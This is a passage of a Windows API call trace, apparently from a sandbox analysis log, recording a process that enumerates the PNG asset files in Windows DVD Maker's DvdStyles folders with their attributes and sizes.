ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0238.533] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0238.534] GetProcessHeap () returned 0x560000 [0238.534] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0238.534] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0238.767] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.767] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0238.767] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0238.768] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1 [0238.768] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1 [0238.768] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0238.768] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0238.768] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0238.768] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0238.769] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0238.769] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0238.769] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1 [0238.769] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0 [0238.770] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0238.772] GetProcessHeap () returned 0x560000 [0238.772] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0238.772] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1 [0238.772] GetProcessHeap () returned 0x560000 [0238.773] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0238.773] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0239.048] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.049] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0239.049] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0239.049] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1 [0239.049] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1 [0239.049] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.049] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.050] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.050] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.050] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.050] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.051] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0 [0239.051] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0239.053] GetProcessHeap () returned 0x560000 [0239.053] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0239.053] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0239.443] GetProcessHeap () returned 0x560000 [0239.444] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0239.444] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0239.575] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.575] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0239.575] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0239.576] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0239.576] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1 [0239.576] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0239.576] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0239.576] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0239.577] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0239.577] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0239.577] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1 [0239.577] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1 [0239.578] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, 